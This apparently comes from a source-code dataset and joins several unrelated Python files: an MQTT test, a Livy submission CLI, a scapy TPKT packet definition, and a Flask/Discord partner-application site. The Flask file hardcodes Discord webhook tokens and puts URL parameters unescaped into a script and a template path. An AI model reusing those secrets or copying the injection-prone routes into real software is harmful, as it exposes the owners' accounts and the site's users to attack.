# Copyright 2017 by MPI-SWS and Data-Ken Research. # Licensed under the Apache 2.0 License. """Test async version of mqtt libraries. Depends on hbmqtt (https://github.com/beerfactory/hbmqtt) """ import unittest import sys import asyncio import string from random import choice, seed from antevents.base import Scheduler, SensorPub, SensorEvent import antevents.linq.output import antevents.linq.combinators import antevents.linq.select from antevents.adapters.mqtt_async import QueueWriter, QueueReader from antevents.linq.transducer import PeriodicMedianTransducer from utils import ValueListSensor, ValidateAndStopSubscriber seed() try: import hbmqtt HBMQTT_AVAILABLE = True except ImportError: HBMQTT_AVAILABLE = False URL = "mqtt://localhost:1883" VALUES = [ 1.0, 2.5, 3.7, 4.1, 8.1, 0.5, 6.5, 4.5, 3.9, 6.5 ] EXPECTED = [ 2.5, 4.1, 4.5, 6.5 ] def msg_to_event(msg): return SensorEvent(sensor_id=msg[0], ts=msg[1], val=msg[2]) CHARS=string.ascii_letters+string.digits def get_topic_name(test_class): return test_class.__class__.__name__ + ''.join([ choice(CHARS) for i in range(5) ]) @unittest.skipUnless(HBMQTT_AVAILABLE, "HBMQTT library not installed for python at %s" % sys.executable) class TestCase(unittest.TestCase): def setUp(self): # Creating a new event loop each test case does not seem to work. # I think it is due to hbmqtt not cleaning up some state in the asyncio # layer. #self.loop = asyncio.new_event_loop() self.loop = asyncio.get_event_loop() self.sched = Scheduler(self.loop) def tearDown(self): pass #self.loop.stop() #self.loop.close() def test_client_only(self): SENSOR_ID='sensor-1' TOPIC=get_topic_name(self) sensor = SensorPub(ValueListSensor(SENSOR_ID, VALUES)) td = sensor.transduce(PeriodicMedianTransducer(period=3)) qw = QueueWriter(td, URL, TOPIC, self.sched) qw.output() self.sched.schedule_periodic(sensor, 0.5) self.sched.run_forever() self.assertFalse(qw.has_pending_requests(), "QueueWriter has pending requests: %s" % qw.dump_state()) print("test_client_only completed") def send_and_recv_body(self, sleep_timeout): SENSOR_ID='sensor-1' TOPIC=get_topic_name(self) sensor = SensorPub(ValueListSensor(SENSOR_ID, VALUES)) td = sensor.transduce(PeriodicMedianTransducer(period=3)) qw = QueueWriter(td, URL, TOPIC, self.sched) qw.output() qr = QueueReader(URL, TOPIC, self.sched, timeout=sleep_timeout) self.sched.schedule_periodic(sensor, 0.5) stop_qr = self.sched.schedule_on_main_event_loop(qr) vs = ValidateAndStopSubscriber(EXPECTED, self, stop_qr) qr.select(msg_to_event).subscribe(vs) self.sched.run_forever() self.assertFalse(qw.has_pending_requests(), "QueueWriter has pending requests: %s" % qw.dump_state()) self.assertEqual(qr.state, QueueReader.FINAL_STATE) self.assertEqual(vs.next_idx, len(EXPECTED)) print("send_and_recv_bod(%s) completed" % sleep_timeout) def test_short_timeout(self): self.send_and_recv_body(0.1) def test_long_timeout(self): self.send_and_recv_body(3.0) if __name__ == '__main__': unittest.main()

pt

edit/main.py

team-alpha-kr/Partner-pyWeb

13510

<filename>edit/main.py # -*- coding: utf8 -*- import os from flask import Flask, request, render_template, request, redirect, url_for, jsonify from flask_discord import DiscordOAuth2Session, requires_authorization from discord import Webhook, RequestsWebhookAdapter webhook = Webhook.partial(814742019489660939, "rvSBVHtGPflSASjeGEEKdZxC5Z_w1UM_ovc_xD0ZPcFy1UeUybFM4ClGANu6CEWTQame", adapter=RequestsWebhookAdapter()) run_webhook = Webhook.partial(804602090537091072, "6ZMww14Nh7OVeeHUt5bWeixreoWQmSzPVfFmIpU3BEr8OYLGqickY1VyoqH2IeMs1Kd8", adapter=RequestsWebhookAdapter()) app = Flask(__name__) app.secret_key = b"<KEY>" os.environ["OAUTHLIB_INSECURE_TRANSPORT"] = "false" app.config["DISCORD_CLIENT_ID"] = "801279922722045962" app.config["DISCORD_CLIENT_SECRET"] = "<KEY>" # Discord client secret. # app.config["DISCORD_REDIRECT_URI"] = "http://localhost:3333/callback" # URL to your callback endpoint. app.config["DISCORD_REDIRECT_URI"] = "https://partner-e.alphakr.xyz/callback" # URL to your callback endpoint. app.config["DISCORD_BOT_TOKEN"] = "<KEY>" discord = DiscordOAuth2Session(app) def on_json_loading_failed_return_dict(e): return '없음' @app.route('/', methods=['GET','POST']) def index(): return render_template('form/1.html') @app.route("/login", methods=["GET"]) def login(): if not discord.authorized: return discord.create_session(scope=['guilds', 'email', 'identify']) else: return render_template("login.html") @app.route("/callback", methods=["GET", "POST"]) def callback(): data = discord.callback() redirect_to = data.get("redirect", "/form/1") return redirect(redirect_to) @app.route("/logout", methods=['GET', 'POST']) def logout(): if discord.authorized: discord.revoke() return redirect(url_for("index")) else: return redirect(url_for("index")) @app.route('/form/1', methods=['GET','POST']) def form1(): if request.method == 'GET': if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 user = discord.fetch_user() return render_template('form/1.html', user=user) else: #로그인이 안되어있는가? return redirect(url_for("login")) else: if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 user = discord.fetch_user() run_webhook.send(f"⛔ [ 403 ERROR ] {user}님이 파트너 신청 1단계 페이지에 정상적이지 않은 접근을 시도 했습니다.") return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" else: #로그인이 안되어있는가? ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr) run_webhook.send(f"⛔ [ 403 ERROR ] 비 로그인 유저({ip})가 파트너 신청 1단계 페이지에 정상적이지 않은 접근을 시도 했습니다.") return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" @app.route('/form/2', methods=['GET','POST']) def form2(): if request.method == 'POST': if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 code = request.form['code'] nickname = request.form['nickname'] return render_template('form/2.html', code=code, nickname=nickname) else: #로그인이 안되어있는가? return redirect(url_for("login")) else: if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 user = discord.fetch_user() run_webhook.send(f"⛔ [ 403 ERROR ] {user}님이 파트너 신청 2단계 페이지에 정상적이지 않은 접근을 시도 했습니다.") return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" else: #로그인이 안되어있는가? ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr) run_webhook.send(f"⛔ [ 403 ERROR ] 비 로그인 유저({ip})가 파트너 신청 2단계 페이지에 정상적이지 않은 접근을 시도 했습니다.") return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" @app.route('/form/3', methods=['GET','POST']) def form3(): if request.method == 'POST': if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 code = request.form['code'] nickname = request.form['nickname'] server = request.form['server'] member = request.form['member'] category = request.form['category'] etc_text = request.form['etc_text'] return render_template('form/3.html', code=code, nickname=nickname, server=server, member=member, category=category, etc_text=etc_text) else: #로그인이 안되어있는가? return redirect(url_for("login")) else: if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" else: #로그인이 안되어있는가? return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" @app.route('/form/action', methods=['GET','POST']) def action(): if request.method == 'GET': if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 user = discord.fetch_user() run_webhook.send(f"⛔ [ 403 ERROR ] {user}님이 파트너 신청 결과 전송 페이지에 정상적이지 않은 접근을 시도 했습니다.") return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" else: #로그인이 안되어있는가? ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr) run_webhook.send(f"⛔ [ 403 ERROR ] 비 로그인 유저({ip})가 파트너 신청 결과 전송 페이지에 정상적이지 않은 접근을 시도 했습니다.") return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" else: if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 code = request.form['code'] nickname = request.form['nickname'] server = request.form['server'] member = request.form['member'] category = request.form['category'] etc_text = request.form['etc_text'] message = request.form['message'] image = request.form['image'] video = request.form['video'] if etc_text == '': etc_text = 'Unknown' webhook.send(f"<@<PASSWORD>56043785>\n✅ 파트너 수정 신청이 도착했습니다.\n\n파트너 코드: {code}\n신청자: {nickname}\n서버(초대 링크): {server}\n멤버 수: {member}\n카테고리 정보: {category} ({etc_text})\n홍보지: {message}\n이미지: {image}\n영상: {video}") return render_template('form/action.html', code = code) else: #로그인이 안되어있는가? return redirect(url_for("index")) @app.route('/guide/<id>', methods=['GET', 'POST']) def guide(id): return f"<script>location.replace('https://team-alpha-kr.github.io/Partner-Guide/{id}.html');</script>" # S: 2021 파트너 웹사이트 개편 코드 # S: 210210 공지사항 @app.route('/notice/<id>', methods=['GET', 'POST']) def notice(id): return render_template(f"2021temp/notice/{id}.html") # E: 210210 공지사항 # E: 2021 파트너 웹사이트 개편 코드 @app.errorhandler(404) def page_not_found(error): return render_template("error/404.html") @app.errorhandler(500) def servererror(error): run_webhook.send(f"<@673776952578146315> ⛔ [ 500 ERROR ] 서버에 오류가 발생했습니다.") return render_template("error/500.html") @app.errorhandler(400) def badrequest(error): run_webhook.send(f"<@673776952578146315> ⛔ [ 400 ERROR ] 서버에 오류가 발생했습니다.") return render_template("error/400.html") run_webhook.send("✅ 파트너 정보 수정 - 웹사이트가 실행이 되었습니다!") app.run(host='0.0.0.0', port=3333, debug=False)

<filename>edit/main.py # -*- coding: utf8 -*- import os from flask import Flask, request, render_template, request, redirect, url_for, jsonify from flask_discord import DiscordOAuth2Session, requires_authorization from discord import Webhook, RequestsWebhookAdapter webhook = Webhook.partial(814742019489660939, "rvSBVHtGPflSASjeGEEKdZxC5Z_w1UM_ovc_xD0ZPcFy1UeUybFM4ClGANu6CEWTQame", adapter=RequestsWebhookAdapter()) run_webhook = Webhook.partial(804602090537091072, "6ZMww14Nh7OVeeHUt5bWeixreoWQmSzPVfFmIpU3BEr8OYLGqickY1VyoqH2IeMs1Kd8", adapter=RequestsWebhookAdapter()) app = Flask(__name__) app.secret_key = b"<KEY>" os.environ["OAUTHLIB_INSECURE_TRANSPORT"] = "false" app.config["DISCORD_CLIENT_ID"] = "801279922722045962" app.config["DISCORD_CLIENT_SECRET"] = "<KEY>" # Discord client secret. # app.config["DISCORD_REDIRECT_URI"] = "http://localhost:3333/callback" # URL to your callback endpoint. app.config["DISCORD_REDIRECT_URI"] = "https://partner-e.alphakr.xyz/callback" # URL to your callback endpoint. app.config["DISCORD_BOT_TOKEN"] = "<KEY>" discord = DiscordOAuth2Session(app) def on_json_loading_failed_return_dict(e): return '없음' @app.route('/', methods=['GET','POST']) def index(): return render_template('form/1.html') @app.route("/login", methods=["GET"]) def login(): if not discord.authorized: return discord.create_session(scope=['guilds', 'email', 'identify']) else: return render_template("login.html") @app.route("/callback", methods=["GET", "POST"]) def callback(): data = discord.callback() redirect_to = data.get("redirect", "/form/1") return redirect(redirect_to) @app.route("/logout", methods=['GET', 'POST']) def logout(): if discord.authorized: discord.revoke() return redirect(url_for("index")) else: return redirect(url_for("index")) @app.route('/form/1', methods=['GET','POST']) def form1(): if request.method == 'GET': if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 user = discord.fetch_user() return render_template('form/1.html', user=user) else: #로그인이 안되어있는가? return redirect(url_for("login")) else: if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 user = discord.fetch_user() run_webhook.send(f"⛔ [ 403 ERROR ] {user}님이 파트너 신청 1단계 페이지에 정상적이지 않은 접근을 시도 했습니다.") return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" else: #로그인이 안되어있는가? ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr) run_webhook.send(f"⛔ [ 403 ERROR ] 비 로그인 유저({ip})가 파트너 신청 1단계 페이지에 정상적이지 않은 접근을 시도 했습니다.") return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" @app.route('/form/2', methods=['GET','POST']) def form2(): if request.method == 'POST': if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 code = request.form['code'] nickname = request.form['nickname'] return render_template('form/2.html', code=code, nickname=nickname) else: #로그인이 안되어있는가? return redirect(url_for("login")) else: if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 user = discord.fetch_user() run_webhook.send(f"⛔ [ 403 ERROR ] {user}님이 파트너 신청 2단계 페이지에 정상적이지 않은 접근을 시도 했습니다.") return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" else: #로그인이 안되어있는가? ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr) run_webhook.send(f"⛔ [ 403 ERROR ] 비 로그인 유저({ip})가 파트너 신청 2단계 페이지에 정상적이지 않은 접근을 시도 했습니다.") return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" @app.route('/form/3', methods=['GET','POST']) def form3(): if request.method == 'POST': if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 code = request.form['code'] nickname = request.form['nickname'] server = request.form['server'] member = request.form['member'] category = request.form['category'] etc_text = request.form['etc_text'] return render_template('form/3.html', code=code, nickname=nickname, server=server, member=member, category=category, etc_text=etc_text) else: #로그인이 안되어있는가? return redirect(url_for("login")) else: if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" else: #로그인이 안되어있는가? return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" @app.route('/form/action', methods=['GET','POST']) def action(): if request.method == 'GET': if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 user = discord.fetch_user() run_webhook.send(f"⛔ [ 403 ERROR ] {user}님이 파트너 신청 결과 전송 페이지에 정상적이지 않은 접근을 시도 했습니다.") return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" else: #로그인이 안되어있는가? ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr) run_webhook.send(f"⛔ [ 403 ERROR ] 비 로그인 유저({ip})가 파트너 신청 결과 전송 페이지에 정상적이지 않은 접근을 시도 했습니다.") return "<script>alert('정상적이지 않은 접근입니다.');location.replace('/');</script>" else: if discord.authorized: #로그인이 되어있는가 try: discord.fetch_guilds() #로그인정보을 가져와라 except: return redirect(url_for("logout")) #못가져오면 로그아웃 code = request.form['code'] nickname = request.form['nickname'] server = request.form['server'] member = request.form['member'] category = request.form['category'] etc_text = request.form['etc_text'] message = request.form['message'] image = request.form['image'] video = request.form['video'] if etc_text == '': etc_text = 'Unknown' webhook.send(f"<@<PASSWORD>56043785>\n✅ 파트너 수정 신청이 도착했습니다.\n\n파트너 코드: {code}\n신청자: {nickname}\n서버(초대 링크): {server}\n멤버 수: {member}\n카테고리 정보: {category} ({etc_text})\n홍보지: {message}\n이미지: {image}\n영상: {video}") return render_template('form/action.html', code = code) else: #로그인이 안되어있는가? return redirect(url_for("index")) @app.route('/guide/<id>', methods=['GET', 'POST']) def guide(id): return f"<script>location.replace('https://team-alpha-kr.github.io/Partner-Guide/{id}.html');</script>" # S: 2021 파트너 웹사이트 개편 코드 # S: 210210 공지사항 @app.route('/notice/<id>', methods=['GET', 'POST']) def notice(id): return render_template(f"2021temp/notice/{id}.html") # E: 210210 공지사항 # E: 2021 파트너 웹사이트 개편 코드 @app.errorhandler(404) def page_not_found(error): return render_template("error/404.html") @app.errorhandler(500) def servererror(error): run_webhook.send(f"<@673776952578146315> ⛔ [ 500 ERROR ] 서버에 오류가 발생했습니다.") return render_template("error/500.html") @app.errorhandler(400) def badrequest(error): run_webhook.send(f"<@673776952578146315> ⛔ [ 400 ERROR ] 서버에 오류가 발생했습니다.") return render_template("error/400.html") run_webhook.send("✅ 파트너 정보 수정 - 웹사이트가 실행이 되었습니다!") app.run(host='0.0.0.0', port=3333, debug=False)

ko

protocols/tpkt.py

dparnishchev/s7scan

13511

from scapy.fields import ByteField, ShortField from scapy.packet import Packet class TPKT(Packet): name = "TPKT" fields_desc = [ByteField("version", 3), ByteField("reserved", 0), ShortField("length", 0x0000)]

from scapy.fields import ByteField, ShortField from scapy.packet import Packet class TPKT(Packet): name = "TPKT" fields_desc = [ByteField("version", 3), ByteField("reserved", 0), ShortField("length", 0x0000)]

none

pylbm_ui/widgets/message.py

pylbm/pylbm_ui

13512

<reponame>pylbm/pylbm_ui import ipyvuetify as v class Message(v.Container): def __init__(self, message): self.message = v.Alert( children=[f'{message}...'], class_='primary--text' ) super().__init__( children=[ v.Row( children=[ v.ProgressCircular( indeterminate=True, color='primary', size=70, width=4 ) ], justify='center' ), v.Row( children=[ self.message, ], justify='center' ) ] ) def update(self, new_message): self.message.children = [f'{new_message}...']

import ipyvuetify as v class Message(v.Container): def __init__(self, message): self.message = v.Alert( children=[f'{message}...'], class_='primary--text' ) super().__init__( children=[ v.Row( children=[ v.ProgressCircular( indeterminate=True, color='primary', size=70, width=4 ) ], justify='center' ), v.Row( children=[ self.message, ], justify='center' ) ] ) def update(self, new_message): self.message.children = [f'{new_message}...']

none

args_parser.py

vmartinv/capital_gains_calculator

13513

import argparse import datetime def get_last_elapsed_tax_year() -> int: now = datetime.datetime.now() if now.date() >= datetime.date(now.year, 4, 6): return now.year - 1 else: return now.year - 2 def create_parser() -> argparse.ArgumentParser: # Schwab transactions # Montly GBP/USD history from # https://www.gov.uk/government/collections/exchange-rates-for-customs-and-vat default_gbp_history_file = "GBP_USD_monthly_history.csv" # Initial vesting and spin-off prices default_initial_prices_file = "initial_prices.csv" default_pdf_report = "calculations.pdf" parser = argparse.ArgumentParser( description="Calculate capital gains from stock transactions.", formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) parser.add_argument( "--tax_year", type=int, default=get_last_elapsed_tax_year(), nargs="?", help="First year of the tax year to calculate gains on", ) parser.add_argument( "--schwab", type=str, nargs="?", help="file containing the exported transactions from Schwab", ) parser.add_argument( "--trading212", type=str, nargs="?", help="folder containing the exported transaction files from Trading212", ) parser.add_argument( "--gbp_history", type=str, default=default_gbp_history_file, nargs="?", help="monthly GBP/USD prices from HMRC", ) parser.add_argument( "--initial_prices", type=str, default=default_initial_prices_file, nargs="?", help="file cointaining stock prices in USD at the moment of vesting, split, etc.", ) parser.add_argument( "--report", type=str, default=default_pdf_report, nargs="?", help="where to save the generated pdf report", ) return parser

import argparse import datetime def get_last_elapsed_tax_year() -> int: now = datetime.datetime.now() if now.date() >= datetime.date(now.year, 4, 6): return now.year - 1 else: return now.year - 2 def create_parser() -> argparse.ArgumentParser: # Schwab transactions # Montly GBP/USD history from # https://www.gov.uk/government/collections/exchange-rates-for-customs-and-vat default_gbp_history_file = "GBP_USD_monthly_history.csv" # Initial vesting and spin-off prices default_initial_prices_file = "initial_prices.csv" default_pdf_report = "calculations.pdf" parser = argparse.ArgumentParser( description="Calculate capital gains from stock transactions.", formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) parser.add_argument( "--tax_year", type=int, default=get_last_elapsed_tax_year(), nargs="?", help="First year of the tax year to calculate gains on", ) parser.add_argument( "--schwab", type=str, nargs="?", help="file containing the exported transactions from Schwab", ) parser.add_argument( "--trading212", type=str, nargs="?", help="folder containing the exported transaction files from Trading212", ) parser.add_argument( "--gbp_history", type=str, default=default_gbp_history_file, nargs="?", help="monthly GBP/USD prices from HMRC", ) parser.add_argument( "--initial_prices", type=str, default=default_initial_prices_file, nargs="?", help="file cointaining stock prices in USD at the moment of vesting, split, etc.", ) parser.add_argument( "--report", type=str, default=default_pdf_report, nargs="?", help="where to save the generated pdf report", ) return parser

es

src/pydts/examples_utils/datasets.py

tomer1812/pydts

13514

import pandas as pd from pydts.config import * DATASETS_DIR = os.path.join(os.path.dirname((os.path.dirname(__file__))), 'datasets') def load_LOS_simulated_data(): os.path.join(os.path.dirname(__file__)) return pd.read_csv(os.path.join(DATASETS_DIR, 'LOS_simulated_data.csv'))

import pandas as pd from pydts.config import * DATASETS_DIR = os.path.join(os.path.dirname((os.path.dirname(__file__))), 'datasets') def load_LOS_simulated_data(): os.path.join(os.path.dirname(__file__)) return pd.read_csv(os.path.join(DATASETS_DIR, 'LOS_simulated_data.csv'))

none

busker/migrations/0013_auto_20200906_1933.py

tinpan-io/django-busker

13515

<gh_stars>1-10 # Generated by Django 3.1.1 on 2020-09-06 19:33 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('busker', '0012_auto_20200905_2042'), ] operations = [ migrations.AlterModelOptions( name='downloadcode', options={'ordering': ['id']}, ), migrations.AlterField( model_name='file', name='work', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='files', to='busker.downloadablework'), ), ]

# Generated by Django 3.1.1 on 2020-09-06 19:33 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('busker', '0012_auto_20200905_2042'), ] operations = [ migrations.AlterModelOptions( name='downloadcode', options={'ordering': ['id']}, ), migrations.AlterField( model_name='file', name='work', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='files', to='busker.downloadablework'), ), ]

fr

livy/cli/submit.py

tzing/python-livy

13516

"""Submit a batch task to livy server.""" import argparse import datetime import importlib import json import logging import re import typing import livy import livy.cli.config import livy.cli.logging logger = logging.getLogger(__name__) class PreSubmitArguments(argparse.Namespace): """Typed :py:class:`~argparse.Namespace` for arguments before task submission.""" # task script: str args: typing.List[str] class_name: str jars: typing.List[str] py_files: typing.List[str] files: typing.List[str] archives: typing.List[str] queue_name: str session_name: str api_url: str driver_memory: str driver_cores: int executor_memory: str executor_cores: int num_executors: int spark_conf: typing.List[typing.Tuple[str, str]] # log watch_log: bool # time time_prog_start: datetime.datetime "Local time this script is called" class TaskEndedArguments(PreSubmitArguments): """Typed :py:class:`~argparse.Namespace` for arguments when task is ended. It contains all attributes from :py:class:`~livy.cli.submit.PreSubmitArguments`. """ # task batch_id: int "Batch ID response by livy server" state: str "Task ended state" # time time_task_submit: datetime.datetime "Local time before task is submitted" time_task_ended: datetime.datetime "Local time that detected task is ended" def main(argv=None): """CLI entrypoint""" # parse argument cfg = livy.cli.config.load() parser = argparse.ArgumentParser( prog="livy submit", description=__doc__, ) parser.add_argument( "script", help="Path to the script that contains the application to be executed", ) parser.add_argument( "args", nargs="*", help="Arguments for the task script", ) parser.add_argument( "--class-name", metavar="COM.EXAMPLE.FOO", help="Application Java/Spark main class (for Java/Scala task)", ) parser.add_argument( "--jars", nargs="+", metavar="FOO.JAR", help="Java dependencies to be used in this batch", ) parser.add_argument( "--py-files", nargs="+", metavar="FOO.ZIP", help="Python dependencies to be used in this batch", ) parser.add_argument( "--files", nargs="+", metavar="FOO.TXT", help="Files to be used in this batch", ) parser.add_argument( "--archives", nargs="+", metavar="FOO.TAR", help="Archives to be used in this batch", ) parser.add_argument( "--queue-name", metavar="DEFAULT", help="The name of the YARN queue to which submitted", ) parser.add_argument( "--session-name", metavar="HELLO", help="The session name to execute this batch", ) group = parser.add_argument_group("pre-submit actions") group.add_argument( "--on-pre-submit", metavar="PLUG", nargs="+", default=cfg.submit.pre_submit, help="Run plugin(s) before submit", ) group = parser.add_argument_group("livy server configuration") group.add_argument( "--api-url", required=cfg.root.api_url is None, default=cfg.root.api_url, help="Base-URL for Livy API server", ) group.add_argument( "--driver-memory", metavar="10G", default=cfg.submit.driver_memory, type=argmem, help="Amount of memory to use for the driver process.", ) group.add_argument( "--driver-cores", metavar="N", default=cfg.submit.driver_cores, type=int, help="Number of cores to use for the driver process.", ) group.add_argument( "--executor-memory", metavar="10G", default=cfg.submit.executor_memory, type=argmem, help="Amount of memory to use for the executor process.", ) group.add_argument( "--executor-cores", metavar="N", default=cfg.submit.executor_cores, type=int, help="Number of cores to use for each executor.", ) group.add_argument( "--num-executors", metavar="N", default=cfg.submit.num_executors, type=int, help="Number of executors to launch for this batch.", ) group.add_argument( "--spark-conf", metavar="CONF_NAME=VALUE", nargs="+", default=cfg.submit.spark_conf, type=argkvpair, help="Spark configuration properties.", ) group = parser.add_argument_group("post-submit actions") g = group.add_mutually_exclusive_group() g.set_defaults(watch_log=cfg.submit.watch_log) g.add_argument( "--watch-log", dest="watch_log", action="store_true", help="Watching for logs until it is finished", ) g.add_argument( "--no-watch-log", dest="watch_log", action="store_false", help="Not to watch for logs. Only submit the task and quit.", ) group = parser.add_argument_group("after-task-finish actions") group.add_argument( "--on-task-success", metavar="PLUG", nargs="+", default=cfg.submit.task_success, help="Run plugin(s) on task is finished and success", ) group.add_argument( "--on-task-failed", metavar="PLUG", nargs="+", default=cfg.submit.task_fail, help="Run plugin(s) on task is ended and failed", ) group.add_argument( "--on-task-ended", metavar="PLUG", nargs="+", default=cfg.submit.task_fail, help="Run plugin(s) on task is ended and ended and regardless to its state", ) livy.cli.logging.setup_argparse(parser) args: PreSubmitArguments = parser.parse_args(argv) # time stamping tzlocal = datetime.datetime.now(datetime.timezone.utc).astimezone().tzinfo def now() -> datetime.datetime: return datetime.datetime.now().astimezone(tzlocal) args.time_prog_start = now() # setup logger livy.cli.logging.init(args) console = livy.cli.logging.get("livy-read-log.main") console.info("Submission task started") # run pre-submit actions args: TaskEndedArguments = run_hook(console, "PRE-SUBMIT", args, args.on_pre_submit) # check server state client = livy.LivyClient(url=args.api_url) try: client.check(False) except livy.RequestError as e: console.error("Failed to connect to server: %s", e) return 1 # build request payload submit_parameter = {} for key, value in [ ("file", args.script), ("class_name", args.class_name), ("args", args.args), ("jars", args.jars), ("py_files", args.py_files), ("files", args.files), ("driver_memory", args.driver_memory), ("driver_cores", args.driver_cores), ("executor_memory", args.executor_memory), ("executor_cores", args.executor_cores), ("num_executors", args.num_executors), ("archives", args.archives), ("queue", args.queue_name), ("name", args.session_name), ("conf", {k: v for k, v in args.spark_conf}), ]: if value: submit_parameter[key] = value console.info( "Creating batch with parameters: %s", json.dumps(submit_parameter, indent=2), ) # timing args.time_task_submit = now() console.debug("Batch submission time= %s", args.time_task_submit) # submit try: submit_resp = client.create_batch(**submit_parameter) except livy.RequestError as e: console.error("Failed to connect to server: %s", e) return 1 console.info("Server response: %s", json.dumps(submit_resp, indent=2)) args.batch_id = submit_resp.get("id", None) if not isinstance(args.batch_id, int) or args.batch_id < 0: console.error("Failed to get batch id. Something goes wrong.") return 1 # watch log if not args.watch_log: console.info("Batch %d created.", args.batch_id) return 0 console.info("Start reading logs of batch %d", args.batch_id) reader = livy.LivyBatchLogReader(client, args.batch_id) try: reader.read_until_finish() except livy.RequestError as e: console.error( "Error occurs during read log. HTTP code=%d, Reason=%s", e.code, e.reason ) return 1 except KeyboardInterrupt: msg_args = args.batch_id, args.api_url # just for shorten console.warning("Keyboard interrupt. Local livy-submit process terminating.") console.warning("Your task might be still running on the server.") console.warning("For reading the logs, call:") console.warning(" livy read-log %d --api-url %s", *msg_args) console.warning("For stopping the task, call:") console.warning(" livy kill %d --api-url %s", *msg_args) return 1 # timing args.time_task_ended = now() console.debug("Batch finishing time= %s", args.time_task_ended) # get ending state try: args.state = client.get_batch_state(args.batch_id) except livy.RequestError: console.error("Error during query batch ending state.") return 1 if args.state == "success": exit_code = 0 state_level = logging.INFO else: exit_code = 1 state_level = logging.WARNING console.log(state_level, "Batch#%d ended with state= %s", args.batch_id, args.state) elapsed_time = args.time_task_ended - args.time_task_submit console.info( "Batch execution time: %dsec (%s)", elapsed_time.total_seconds(), human_readable_timeperiod(elapsed_time), ) # run task-end actions if args.state == "success": args = run_hook(console, "TASK-SUCCESS", args, args.on_task_success) else: args = run_hook(console, "TASK-FAILED", args, args.on_task_failed) args = run_hook(console, "TASK", args, args.on_task_ended) return exit_code def argmem(s: str): """Validate input for memory size""" if not re.fullmatch(r"\d+[gm]b?", s, re.RegexFlag.IGNORECASE): raise argparse.ArgumentTypeError( "please specific memory size in format '1234mb'" ) return s def argkvpair(val): """Splitting key value pair""" k, v = val.split("=", 1) return k, v def run_hook( logger: logging.Logger, identifier: str, args: argparse.Namespace, actions: typing.List[str], ) -> argparse.Namespace: """Run hook actions""" for action_name in actions: logger.info("Run %s action %s", identifier.lower(), action_name) func = get_function(action_name) if not func: logger.warning("Failed to get action function instance. Stop process.") exit(1) try: args = func(identifier, args) except: logger.exception( "Error occurs during %s action. Stop process.", identifier.lower() ) exit(1) if not isinstance(args, argparse.Namespace): logger.error( "Expect namespace object from %s's return value. Got %s", action_name, type(args).__name__, ) exit(1) return args def get_function(name: str) -> typing.Callable: """Get function by module name""" m = re.fullmatch(r"([\w.]+):(\w+)", name, re.RegexFlag.I) if not m: logger.error("Failed to resolve function name: %s", name) logger.error("Please specific it in module:func format") return module_name, func_name = m.groups() try: module = importlib.import_module(module_name) except ImportError: logger.error("Failed to find module: %s", module_name) return try: func = getattr(module, func_name) except AttributeError: logger.error("Failed to find function %s in %s", func_name, 